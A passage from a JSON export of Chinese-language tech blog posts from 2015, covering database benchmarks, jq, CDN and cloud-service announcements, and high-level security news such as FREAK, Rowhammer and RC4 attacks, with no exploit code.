    "body": "雖然平常應該不會常常用到 <code>CREATE TABLE</code> 與 <code>DROP TABLE</code>，不過還是很有趣的 benchmark：「<a href=\"http://www.percona.com/blog/2015/02/24/mysqls-innodb_file_per_table-slowing/\">Is MySQL’s innodb_file_per_table slowing you down?</a>」。\r\n\r\n重點在這段：\r\n\r\n<ul>\r\n\t<li>With innodb_file_per_table=ON\r\n\t<ul>\r\n\t\t<li>Schema and table creation = 1m54.852s</li>\r\n\t\t<li>Schema drops = 1m21.682s</li>\r\n\t</ul>\r\n\t</li>\r\n\t<li>With innodb_file_per_table=OFF\r\n\t\t<li>Schema and table creation = 0m59.968s</li>\r\n\t\t<li>Schema drops = 0m54.870s</li>\r\n\t</li>\r\n</ul>\r\n\r\n不過作者測試時沒有用 <code>ENGINE=COMPRESSED</code> (必須在 <code>innodb_file_per_table</code> 打開時才支援，而且這也是選擇打開 <code>innodb_file_per_table</code> 的重要因素)，不知道壓縮開起來以後會差多少...\r\n\r\n不過就算再怎麼慢，相較於 <code>CREATE TABLE</code> 與 <code>DROP TABLE</code> 的效能，還是比較計較壓縮換來的 I/O 效能。(尤其是資料量超過記憶體大小時)",
    "title": "innodb_file_per_table 對於 CREATE TABLE 與 DROP TABLE 的速度"
  },
  {
    "id": "5630",
    "body": "<a href=\"https://www.irccloud.com/\">IRCCloud</a> 宣佈的新功能：「<a href=\"https://blog.irccloud.com/file-uploads/\">File Uploads</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/VzRJl7m.gif\" alt=\"\" />\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B0QH5pd.webp\" /><img src=\"https://i.gslin.com/imgur/B0QH5pd.jpg\" alt=\"\" /></picture>\r\n\r\n用 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 擋在前面，而且不是 Price Class 100 (因為 <a href=\"http://www.bitwizard.nl/mtr/\">mtr</a> 時至少有看到亞洲區的 PoP)，不過看起來後面不是 <a href=\"https://aws.amazon.com/s3/\">S3</a>...\r\n\r\n在公告的文章裡有提到 <a href=\"https://imgur.com/\">Imgur</a>，現在 Imgur 的 CDN 品質好像不是很好？台灣連過去用的是 <a href=\"http://www.fastly.com/\">Fastly</a> 美國的點，但選點好像不太行啊？不過算是堪用...",
    "title": "IRCCloud 的檔案上傳功能..."
  },
  {
    "id": "5631",
    "body": "<a href=\"https://stedolan.github.io/jq/\">jq</a> 用一陣子了 (因為配合著 <a href=\"https://aws.amazon.com/\">AWS</a> 官方的 <a href=\"https://aws.amazon.com/cli/\">AWS Command Line Interface</a> 一起用)，剛好看到有人介紹：「<a href=\"https://robots.thoughtbot.com/jq-is-sed-for-json\">jq is sed for JSON</a>」。\r\n\r\n現在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的 package repository 內都有 jq 了 (<a href=\"http://packages.ubuntu.com/jq\">Ubuntu – Package Search Results -- jq</a>)，雖然版本舊了一點，不過基本功能都穩定了，除非有特別的需求，不然應該夠用。\r\n\r\n照原文章的範例，假設 <code>1.json</code> 是這樣：\r\n\r\n<pre>[\r\n  {\r\n    \"type\": \"message\",\r\n    \"user\": \"U024HFHU5\",\r\n    \"text\": \"hey there\",\r\n    \"ts\": \"1385407681.000003\"\r\n  },\r\n  {\r\n    \"type\": \"message\",\r\n    \"user\": \"U024HGJ4E\",\r\n    \"text\": \"right back at you\",\r\n    \"ts\": \"1385407706.000006\"\r\n  }\r\n]</pre>\r\n\r\n而你下這樣的 command 就可以抽出來：\r\n\r\n<pre>$ jq \"[.[] | { the_user: .user, the_text: .text }]\" 1.json\r\n[\r\n  {\r\n    \"the_user\": \"U024HFHU5\",\r\n    \"the_text\": \"hey there\"\r\n  },\r\n  {\r\n    \"the_user\": \"U024HGJ4E\",\r\n    \"the_text\": \"right back at you\"\r\n  }\r\n]</pre>\r\n\r\n很好用的工具 :o",
    "title": "用 jq 操作 JSON 文件"
  },
  {
    "id": "5632",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 這幾天的動作頗多：「<a href=\"https://blog.cloudflare.com/universal-ssl-encryption-all-the-way-to-the-origin-for-free/\">Universal SSL: Encryption all the way to the origin, for free</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ED9pHnm.webp\" /><img src=\"https://i.gslin.com/imgur/ED9pHnm.jpg\" alt=\"\" /></picture>\r\n\r\nUniversal SSL 要保護的是右邊 CloudFlare 到 Origin Server 這段：現在可以讓 CloudFlare 簽 SSL certificate，而不用到外面買了。\r\n\r\n這邊的 SSL certificate 只有 CloudFlare 認得，一般的瀏覽器預設值不會認：\r\n\r\n<blockquote>The CloudFlare Origin CA is currently not trusted by browsers, so these certificates should not be used on sites that are not behind CloudFlare.</blockquote>",
    "title": "CloudFlare 的 Universal SSL"
  },
  {
    "id": "5633",
    "body": "在 <a href=\"https://www.mozilla.com/firefox\">Firefox</a> 36 的 <a href=\"https://www.mozilla.org/en-US/firefox/36.0/releasenotes/\">Release Notes</a> 內宣佈預設啟用 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a>：\r\n\r\n<blockquote>Support for the full HTTP/2 protocol. HTTP/2 enables a faster, more scalable, and more responsive web.</blockquote>\r\n\r\n另外 Firefox 36 也拔除 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a>：\r\n\r\n<blockquote>No longer accept insecure RC4 ciphers whenever possible</blockquote>\r\n\r\n接下來應該是 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 預設啟用，以及 <a href=\"http://nginx.org/\">nginx</a> 的 server implementation...",
    "title": "Firefox 成為第一個預設啟用 HTTP/2 的主流瀏覽器"
  },
  {
    "id": "5635",
    "body": "<a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 在 Web Console 上推出的新功能：「<a href=\"https://aws.amazon.com/blogs/aws/custom-odbcjdbc-drivers-and-query-visualization-for-amazon-redshift/\">Custom ODBC/JDBC Drivers and Query Visualization for Amazon Redshift</a>」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Noxn2mV.webp\" /><img src=\"https://i.gslin.com/imgur/Noxn2mV.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xMii8dU.webp\" /><img src=\"https://i.gslin.com/imgur/xMii8dU.jpg\" alt=\"\" /></picture>\r\n\r\n會把 query 的步驟拆成多個步驟，針對比較吃資源的步驟標出來，讓設計的人可以思考要怎麼改。",
    "title": "Amazon Redshift 的 Query 效能調教"
  },
  {
    "id": "5636",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的 <a href=\"https://en.wikipedia.org/wiki/HTTPS\">HTTPS</a> 支援 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a>：「<a href=\"https://blog.cloudflare.com/enforce-web-policy-with-hypertext-strict-transport-security-hsts/\">Enforce Web Policy with HTTP Strict Transport Security (HSTS)</a>」。\r\n\r\n目前可以設 <code>max-age</code> 與 <code>includeSubDomains</code>。至於 <code>preload</code> 還在規劃。不算複雜的功能 (加上 HTTP header)，不過對於安全性的幫助很大。\r\n\r\n不過 origin 好像也可以送，不知道 CloudFlare 會不會濾掉...",
    "title": "CloudFlare 的 HTTPS 支援 HSTS 設定"
  },
  {
    "id": "5637",
    "body": "<a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-0204\">CVE-2015-0204</a> 的說明：\r\n\r\n<blockquote>The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k allows remote SSL servers to conduct RSA-to-EXPORT_RSA downgrade attacks and facilitate brute-force decryption by offering a weak ephemeral RSA key in a noncompliant role.</blockquote>\r\n\r\n本來是被 <a href=\"https://www.openssl.org/\">OpenSSL</a> 標成低危險性 (出自 <a href=\"https://www.openssl.org/news/secadv_20150108.txt\">secadv_20150108.txt</a>)：\r\n\r\n<blockquote>RSA silently downgrades to EXPORT_RSA [Client] (CVE-2015-0204)\r\nSeverity: Low</blockquote>\r\n\r\n不過新的攻擊利用這個弱點放大，叫做「<a href=\"https://freakattack.com/\">FREAK Attack</a>」，可以強制使用 RSA_EXPORT suite 所列的 cipher，而這些 cipher 通常長度都不夠，於是就可以解：\r\n\r\n<blockquote>A connection is vulnerable if the server accepts RSA_EXPORT cipher suites and the client either offers an RSA_EXPORT suite or is using a version of OpenSSL that is vulnerable to CVE-2015-0204. Vulnerable clients include many Google and Apple devices (which use unpatched OpenSSL), a large number of embedded systems, and many other software products that use TLS behind the scenes without disabling the vulnerable cryptographic suites.</blockquote>\r\n\r\n影響的範圍主要是支援 RSA_EXPORT suite 的 server：\r\n\r\n<blockquote>Websites that support RSA export cipher suites (e.g., TLS_RSA_EXPORT_WITH_DES40_CBC_SHA) are at risk to having HTTPS connections intercepted.</blockquote>\r\n\r\n應該是把 <code>!EXPORT</code> 設上去就可以解掉，不過還是花點時間 review，把可以關掉的舊技術都拔掉會比較好。",
    "title": "CVE-2015-0204：OpenSSL 的弱點攻擊 (Android 與 iOS)"
  },
  {
    "id": "5638",
    "body": "在「<a href=\"https://grahamcluley.com/2015/03/oracle-java-mac/\">Oracle has just given you another reason not to install Java on your Mac</a>」這篇看到 <a href=\"http://www.apple.com/mac/\">Mac</a> 版的 <a href=\"http://www.java.com/\">Java</a> 居然會試著安裝 Ask Toolbar：\r\n\r\n<img src=\"https://i.gslin.com/imgur/OlcynJb.jpg\" alt=\"\" />\r\n\r\nOh my god，這太厲害啦～\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Adware is malware with a legal team.</p>&mdash; InfoSec Taylor Swift (@SwiftOnSecurity) <a href=\"https://twitter.com/SwiftOnSecurity/status/555391137632890881\">January 14, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n還是想貼一下這則 tweet...",
    "title": "Mac 版的 Java 安裝 Ask Toolbar..."
  },
  {
    "id": "5641",
    "body": "二月底的老新聞了，<a href=\"https://www.videolan.org/\">VLC</a> 首次全平台釋出 (包括了桌機與行動平台)：「<a href=\"http://news.slashdot.org/story/15/02/27/1719227/vlc-gets-first-major-cross-platform-release\">VLC Gets First Major Cross-Platform Release</a>」，引用的新聞是：「<a href=\"http://venturebeat.com/2015/02/27/vlc-gets-first-major-release-across-windows-mac-linux-android-ios-windows-phone-windows-rt-and-android-tv/\">VLC gets first major release across Windows, Mac, Linux, Android, iOS, Windows Phone, Windows RT, and Android TV</a>」。\r\n\r\n經典的播放軟體，雖然平常在 <a href=\"http://www.linux.org/\">Linux</a> 上還是用 <a href=\"http://smplayer.sourceforge.net/\">SMPlayer</a> 比較習慣...",
    "title": "VLC 的跨平台支援..."
  },
  {
    "id": "5642",
    "body": "一樣是二月的老新聞：「<a href=\"http://tech.slashdot.org/story/15/02/27/218253/microsoft-finally-allows-customers-to-legally-download-windows-7-isos\">Microsoft Finally Allows Customers To Legally Download Windows 7 ISOs</a>」。\r\n\r\n微軟推出「<a href=\"http://www.microsoft.com/en-us/software-recovery\">Microsoft Software Recovery</a>」這個服務，輸入序號後可以下載 ISO image。\r\n\r\n不過據報導的人說，不是每一個序號都會動... 不知道這個系統是怎麼設計運作的 :o",
    "title": "微軟提供合法的 Windows 7 使用者下載光碟映像檔 (ISO image)"
  },
  {
    "id": "5643",
    "body": "在「<a href=\"http://hardware.slashdot.org/story/15/03/02/157214/intel-announces-atom-x3-x5-and-x7-first-socs-with-integrated-3g-and-lte-modems\">Intel Announces Atom x3, x5 and x7, First SOCs With Integrated 3G and LTE Modems</a>」這邊看到 <a href=\"http://www.intel.com/\">Intel</a> 推出包括 3G 或 LTE 的 SoC。<a href=\"http://slashdot.org/\">Slashdot</a> 的文章引用自「<a href=\"http://hothardware.com/news/intel-announces-first-atom-soc-with-integrated-lte-modem\">Intel Announces Atom x3, x5 and x7, First SOCs With Integrated 3G And LTE Modems</a>」這篇。\r\n\r\nIntel 的新聞稿可以看「<a href=\"http://newsroom.intel.com/community/intel_newsroom/blog/2015/03/02/intel-launches-new-mobile-socs-lte-solution\">Intel Launches New Mobile SoCs, LTE Solution</a>」這篇。\r\n\r\n<img src=\"https://i.gslin.com/imgur/PvODHCe.jpg\" alt=\"\" />\r\n\r\n相較於其他 ARM 上的繁榮光景，Intel 自己總算往市場丟出些東西了...",
    "title": "Intel 推出包含 3G/LTE 的 SoC"
  },
  {
    "id": "5644",
    "body": "<a href=\"https://www.mozilla.org/en-US/\">Mozilla</a> 申請 <a href=\"https://www.google-melange.com/gsoc/homepage/google/gsoc2015\">Google Summer of Code 2015</a> 被拒絕：「<a href=\"http://blog.queze.net/post/2015/03/03/Mozilla-not-accepted-for-Google-Summer-of-Code-2015\">Mozilla not accepted for Google Summer of Code 2015</a>」。\r\n\r\n不過以 Mozilla 的能量來看感覺還好？反倒是 <a href=\"https://www.torproject.org/\">Tor</a> (<a href=\"https://www.eff.org/\">EFF</a>) 也被拒絕就讓人很訝異了...\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Don%27t_be_evil\">Don't be evil</a> 啊...",
    "title": "Mozilla 與 Tor (EFF) 申請 Google Summer of Code 2015 被拒"
  },
  {
    "id": "5645",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"https://www.google.com/\">Google</a> 發表了計算網頁真實性的演算法，Knowledge-Based Trust (KBT)：「<a href=\"http://science.slashdot.org/story/15/03/01/213245/google-wants-to-rank-websites-based-on-facts-not-links\">Google Wants To Rank Websites Based On Facts Not Links</a>」，原始的論文 PDF 檔案可以在「<a href=\"http://arxiv.org/abs/1502.03519v1\">Knowledge-Based Trust: Estimating the Trustworthiness of Web Sources</a>」這邊取得。\r\n\r\n論文本身的原理不難懂 (其實方法相當有趣)，主要是給出了三個貢獻。\r\n\r\n首先是能夠區分是取出資訊的方法有問題 (extract 的演算法不夠好)，或是網站本身就給出錯誤的資訊：\r\n\r\n<blockquote>Our main contribution is a more sophisticated probabilistic model, which can distinguish between two main sources of error: incorrect facts on a page, and incorrect extractions made by an extraction system.</blockquote>\r\n\r\n第二個則是在效能上的改善：\r\n\r\n<blockquote>Our second contribution is a new method to adaptively decide the granularity of sources to work with: if a specific webpage yields too few triples, we may aggregate it with other webpages from the same website. Conversely, if a website has too many triples, we may split it into smaller ones, to avoid computational bottlenecks (Section 4).</blockquote>\r\n\r\n第三個則是提出好的分散式演算法，可以螞蟻雄兵計算出來:\r\n\r\n<blockquote>The third contribution of this paper is a detailed, large-scale evaluation of the performance of our model.</blockquote>\r\n\r\nKBT 並不是要取代 <a href=\"https://en.wikipedia.org/wiki/PageRank\">PageRank</a>，而是跟 PageRank 互相配合，可以有效打擊<a href=\"https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E8%BE%B2%E5%A0%B4\">內容農場</a> (<a href=\"https://en.wikipedia.org/wiki/Content_farm\">Content farm</a>) 這類網站，畢竟 PageRank 的假設在一般的狀況下是有邏輯的。\r\n\r\n在「High PageRank but low KBT (top-left corner)」這段講到了這件事情：\r\n\r\n<blockquote>We consider the 15 gossip websites listed in [16]. Among them, 14 have a PageRank among top 15% of the websites, since such websites are often popular. However, for all of them the KBT are in the bottom 50%; in other words, they are considered less trustworthy than half of the websites. Another kind of websites that often get low KBT are forum websites.</blockquote>\r\n\r\n再找時間細讀其他類似的演算法...",
    "title": "Google 發表計算網頁真實性的演算法 (Knowledge-Based Trust)"
  },
  {
    "id": "5647",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud</a> 推出了 <a href=\"https://cloud.google.com/storage/docs/nearline-storage\">Nearline Storage</a>：「<a href=\"http://googlecloudplatform.blogspot.com/2015/03/introducing-Google-Cloud-Storage-Nearline-near-online-data-at-an-offline-price.html\">Introducing Google Cloud Storage Nearline: (near)online data at an offline price</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DWnCbti.webp\" /><img src=\"https://i.gslin.com/imgur/DWnCbti.jpg\" alt=\"\" /></picture>\r\n\r\n同樣都是 USD$0.01/GB，相較於隔壁棚 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/glacier/\">Amazon Glacier</a> 需要 3～5 小時的重新上線時間，Nearline Storage 是 3 秒鐘。\r\n\r\n不知道這次 AWS 會多快反擊...",
    "title": "Google Cloud 推出 Nearline Storage"
  },
  {
    "id": "5649",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到公告：「<a href=\"https://forums.aws.amazon.com/ann.jspa?adbid=576127462871937024&amp;annID=2914\">Announcement: EC2 instance Auto Recovery now available in 8 more AWS Regions</a>」。\r\n\r\n也就是 C3、C4、M3、R3、T2 這五種 instance 都可以開 Auto Recovery，而且必須在 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 內的 EBS-only instance。\r\n\r\n在某種程度上的 High Availability 機制可以直接用這個功能解決掉。",
    "title": "EC2 instance Auto Recovery 功能全區開放"
  },
  {
    "id": "5650",
    "body": "<a href=\"https://www.google.com/\">Google</a> 公告後馬上傳遍：「<a href=\"http://google-opensource.blogspot.com/2015/03/farewell-to-google-code.html\">Bidding farewell to Google Code</a>」。\r\n\r\n幾個時間點：\r\n<ul>\r\n\t<li>2015 年 3 月 12 日：停止新的 project 的申請。</li>\r\n\t<li>2015 年 8 月 24 日：唯讀。</li>\r\n\t<li>2016 年 1 月 25 日：停止操作服務，不過 2016 年整年還是提供一整包 tarball 下載回去。</li>\r\n</ul>\r\n\r\nGoogle 有提供「<a href=\"https://code.google.com/export-to-github/\">Export to GitHub</a>」這個服務轉換到 <a href=\"https://github.com/\">GitHub</a> 上，或是透過手動轉換：<a href=\"http://git-scm.com/\">Git</a> 的部份比較簡單，直接推上新的 hosting 即可，而其他的需要工具轉換。",
    "title": "Google 宣佈關閉 Google Code"
  },
  {
    "id": "5653",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"http://googleprojectzero.blogspot.com/\">Project Zero</a> 實做 Rowhammer Bug：「<a href=\"http://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html\">Exploiting the DRAM rowhammer bug to gain kernel privileges</a>」。\r\n\r\n開頭就很科幻：\r\n\r\n<blockquote>“Rowhammer” is a problem with some recent DRAM devices in which repeatedly accessing a row of memory can cause bit flips in adjacent rows.</blockquote>\r\n\r\n然後就提到實做了：\r\n\r\n<blockquote>We tested a selection of laptops and found that a subset of them exhibited the problem. <strong>We built two working privilege escalation exploits that use this effect.</strong></blockquote>\r\n\r\n給出了 NaCl sandbox escape 與 Kernel privilege escalation 兩種方式。\r\n\r\n這頭快炸了...",
    "title": "Rowhammer Bug：攻擊記憶體的值..."
  },
  {
    "id": "5655",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上的「<a href=\"http://hardware.slashdot.org/story/15/03/12/184222/endurance-experiment-kills-six-ssds-over-18-months-24-petabytes\">Endurance Experiment Kills Six SSDs Over 18 Months, 2.4 Petabytes</a>」看到的，針對萬元以下的 SSD 硬碟大量寫入測試 (算是家用級別？)，在經過 18 個月後總算都掛光了...\r\n\r\n報導出自「<a href=\"http://techreport.com/review/27909/the-ssd-endurance-experiment-theyre-all-dead\">The SSD Endurance Experiment: They're all dead</a>」：\r\n\r\n<img src=\"https://i.gslin.com/imgur/ZQStyYw.gif\" alt=\"\" />\r\n\r\n最快死透的是 <a href=\"http://www.intel.com/\">Intel</a> 的，不過也到了 800TB 的寫入量才掛，如果以每天寫 1TB 的量來算也超過兩年了，看了一下我們家比較忙的 database server 也沒這個量啊，這幾年改善好多...",
    "title": "SSD 硬碟的「寫到掛」測試"
  },
  {
    "id": "5657",
    "body": "在「<a href=\"http://www.isg.rhul.ac.uk/tls/RC4mustdie.html\">RC4 must die</a>」這個網站寫的真直接，正式標題是「Attacks Only Get Better: Password Recovery Attacks Against RC4 in TLS」。\r\n\r\n可以在 2<sup>26</sup> 次嘗試取得 TLS 裡傳輸的 password，相較於之前的 2<sup>34</sup> 低了非常多。另外論文裡也說明了他們成功實作 PoC，取得 IMAP (TLS) 與 HTTP Basic Auth (TLS) 的密碼部份。\r\n\r\n不過 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 的使用率比想像中高好多 (出自 <a href=\"http://notary.icsi.berkeley.edu/\">ICSI Certificate Notary project</a> 的「Connection Cipher Details」數據)：\r\n\r\n<blockquote>Despite 2013's high-profile attacks on the RC4 algorithm in TLS, its usage is today (March 2015) still running at about 30% of all TLS traffic.</blockquote>\r\n\r\n現在的超級低標應該是 TLS 1.0 的 <a href=\"https://en.wikipedia.org/wiki/Triple_DES\">3DES</a> (給 Windows XP + IE8 的情況下用)，不過也已經不夠安全，能拔掉的就先拔...",
    "title": "再度改善對 RC4 的攻擊效率..."
  },
  {
    "id": "5658",
    "body": "在同一天的 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這兩篇，這是怎樣 XDDD：\r\n\r\n<ul>\r\n\t<li><a href=\"https://stallman.org/\">RMS</a> 的「<a href=\"https://stallman.org/facebook.html\">Reasons not to use (i.e., be used by) Facebook</a>」</li>\r\n\t<li>透過 <a href=\"https://www.facebook.com/\">Facebook</a> Chat 當 VPN tunnel 的專案：「<a href=\"https://github.com/matiasinsaurralde/facebook-tunnel\">Tunneling Internet traffic over FB chat.</a>」。</li>\r\n</ul>\r\n\r\nRMS 對 Facebook 的意見就不提了，來討論後面這個專案：\r\n\r\n<blockquote>The idea of this project is to tunnel Internet traffic through Facebook chat (packets are sent as base64), the main component is tuntap and also the Google's Gumbo parser which does the interaction with Facebook (login, send/receive messages, etc.).</blockquote>\r\n\r\n用 C++ 寫的... 不過 Facebook 可以通的環境通常可以有其他的 VPN 選擇吧 @_@",
    "title": "用 Facebook Chat 當作 VPN tunnel..."
  },
  {
    "id": "5659",
    "body": "是個把餅做大的概念？還是是因為公司已經被買走了所以就隨便了... XD\r\n\r\nAnyway，貼 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p><a href=\"https://twitter.com/HipChat\">@HipChat</a> Thank you so much for the cake! Unexpected, gracious, and so lovely. <a href=\"http://t.co/TO7zaOcYib\">pic.twitter.com/TO7zaOcYib</a></p>&mdash; Slack (@SlackHQ) <a href=\"https://twitter.com/SlackHQ/status/565954066220449792\">February 12, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "把餅做大的概念？"
  },
  {
    "id": "5662",
    "body": "在「<a href=\"http://mysqlserverteam.com/innodb-full-text-n-gram-parser/\">InnoDB Full-Text : N-gram Parser</a>」這邊看到對 MySQL 5.7 InnoDB 的全文搜尋功能介紹。開頭就有很重要的說明：\r\n\r\n<blockquote>I’m now very happy to say that in MySQL 5.7.6 we’ve made use of the new pluggable full-text parser support in order to provide you with an n-gram parser that can be used with CJK!</blockquote>\r\n\r\n這對資料量在中等或是更少的公司相當方便，你可以架 replication server 專門跑 search，而不需要利用 reliable queue 確保更新後推進 <a href=\"https://lucene.apache.org/solr/\">Solr</a> 或 <a href=\"https://www.elastic.co/\">Elastic</a> (改名了，之前叫 ElasticSearch)。\r\n\r\n不過，如果資料量很大的話應該還是得用 Solr 或 Elastic 的方案...",
    "title": "MySQL 5.7 的 InnoDB 的全文搜尋"
  },
  {
    "id": "5663",
    "body": "本來是不太寫 <a href=\"https://aws.amazon.com/elastictranscoder/\">Amazon Elastic Transcoder</a> 的，但是看到這個實在是...：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-elastic-transcoder-update-new-formats-conversion-controls/\">Amazon Elastic Transcoder Update – New Formats & Conversion Controls</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/tuZeaox.gif\" alt=\"\" />\r\n\r\n最新支援：影片轉成動態 GIF！\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B5dbdzF.webp\" /><img src=\"https://i.gslin.com/imgur/B5dbdzF.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.amazon.com/\">Amazon</a> 你控制一下好嗎 XDDD",
    "title": "Amazon Elastic Transcoder 更新：支援 GIF..."
  },
  {
    "id": "5667",
    "body": "<a href=\"https://github.com/knsv/mermaid\">mermaid</a> 這個專案畫出來的圖還蠻順眼，雖然與 <a href=\"https://en.wikipedia.org/wiki/DOT_%28graph_description_language%29\">DOT</a> graph 的語法不太一樣，不過還是很簡單，看一下介紹就會用了。\r\n\r\n在 <a href=\"https://cdnjs.com/\">cdnjs</a> 上有 hosting，把 code 放到 <code>div</code> 裡面，設定 <code>class=\"mermaid\"</code>，然後直接 <code>script</code> 掛進來就可以了。不過最近 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的速度一直很不順，在意的人可以考慮自己 hosting 一份。\r\n\r\n簡單的像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eopBG63.webp\" /><img src=\"https://i.gslin.com/imgur/eopBG63.jpg\" alt=\"\" /></picture>\r\n\r\n比較複雜點的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TQAF5yB.webp\" /><img src=\"https://i.gslin.com/imgur/TQAF5yB.jpg\" alt=\"\" /></picture>",
    "title": "用 mermaid 畫流程圖..."
  },
  {
    "id": "5668",
    "body": "無意間測試時發現的...\r\n\r\n用 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04 的 PPPoE 撥上 <a href=\"http://www.hinet.net/\">HiNet</a> 後，會拿到 IPv6 address (我記得申請完後之前一直拿不到)，然後一次拿好幾個 (不知道什麼原因，應該要去翻翻看 IPv6 是不是有什麼特性)：\r\n\r\n<pre><small>ppp0      Link encap:Point-to-Point Protocol  \r\n          inet addr:1.163.x.x  P-t-P:168.95.x.x  Mask:255.255.255.255\r\n          inet6 addr: 2001:b011:3008:282:xxxx:xxxx:xxxx:xxxx/64 Scope:Global\r\n          inet6 addr: 2001:b011:3008:282:xxxx:xxxx:xxxx:xxxx/64 Scope:Global\r\n          inet6 addr: 2001:b011:3008:282:xxxx:xxxx:xxxx:xxxx/64 Scope:Global\r\n          inet6 addr: 2001:b011:3008:282:xxxx:xxxx:xxxx:xxxx/64 Scope:Global\r\n          inet6 addr: fe80::xxxx:xxxx:xxxx:xxxx/10 Scope:Link\r\n          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1492  Metric:1\r\n          RX packets:24632377 errors:0 dropped:0 overruns:0 frame:0\r\n          TX packets:16553423 errors:0 dropped:0 overruns:0 carrier:0\r\n          collisions:0 txqueuelen:3 \r\n          RX bytes:30408127665 (30.4 GB)  TX bytes:2344774062 (2.3 GB)</small></pre>\r\n\r\n然後到處亂測發現 <a href=\"https://www.facebook.com/\">Facebook</a> 在台灣有機房：\r\n\r\n<pre><small>gslin@GSLIN-HOME1404 [~] [00:32/W3] mtr --report www.facebook.com\r\nStart: Thu Mar 19 00:32:25 2015\r\nHOST: GSLIN-HOME1404              Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- ipv6.dynamic.hinet.net     0.0%    10    6.2   6.5   6.2   7.3   0.0\r\n  2.|-- 2001:b000:82:5:22:2201:1:  0.0%    10    6.1   9.0   6.1  26.4   6.3\r\n  3.|-- 2001:b000:82:4:3201:3302:  0.0%    10    6.7   6.6   6.3   6.8   0.0\r\n  4.|-- 2001:b000:80:3:80:82:3:2   0.0%    10   11.6  10.7   6.9  16.6   2.8\r\n  5.|-- 2001:b000:80:4:3011:3311:  0.0%    10    6.9   7.3   6.4  10.0   1.1\r\n  6.|-- 2001:b000:80:7:0:3:2934:1  0.0%    10   16.8   8.3   6.9  16.8   3.0\r\n  7.|-- po126.msw01.01.tpe1.tfbnw  0.0%    10    7.9   8.0   7.5   8.9   0.0\r\n  8.|-- edge-star6-shv-01-tpe1.fa  0.0%    10    7.3   7.2   6.8   7.6   0.0</small></pre>\r\n\r\n再回頭測了 IPv4：\r\n\r\n<pre><small>gslin@GSLIN-HOME1404 [~] [00:32/W3] mtr --report -4 www.facebook.com\r\nStart: Thu Mar 19 00:33:18 2015\r\nHOST: GSLIN-HOME1404              Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- h254.s98.ts.hinet.net      0.0%    10    6.9   6.4   5.8   6.9   0.0\r\n  2.|-- SNUH-3301.hinet.net        0.0%    10    6.3  12.2   6.2  60.9  17.1\r\n  3.|-- SNUH-3201.hinet.net        0.0%    10    6.2   6.6   6.2   6.8   0.0\r\n  4.|-- TPDT-3011.hinet.net        0.0%    10    7.8   8.8   7.6  10.5   0.7\r\n  5.|-- tpdb-3311.hinet.net        0.0%    10    6.4   6.7   6.3   7.8   0.3\r\n  6.|-- 203-75-228-33.HINET-IP.hi  0.0%    10    7.4   7.3   7.0   7.6   0.0\r\n  7.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n  8.|-- edge-star-shv-02-tpe1.fac  0.0%    10    7.3   7.3   6.8   7.7   0.0</small></pre>\r\n\r\n而且 Facebook 上的圖片會導到 <code>scontent-tpe.xx.fbcdn.net</code>，這樣產生的量應該不小？而用 <a href=\"https://www.google.com/\">Google</a> 找 <a href=\"https://www.google.com/search?q=%22scontent-tpe.xx.fbcdn.net%22\">scontent-tpe.xx.fbcdn.net</a>，可以看到大約是在 2015/02/14 上線的。\r\n\r\n透過幾個不同的 ISP 看了一下 routing，應該是跟國內幾個 ISP 有 peering，沒有的就走 <a href=\"http://www.tpix.com.tw/\">TPIX</a> 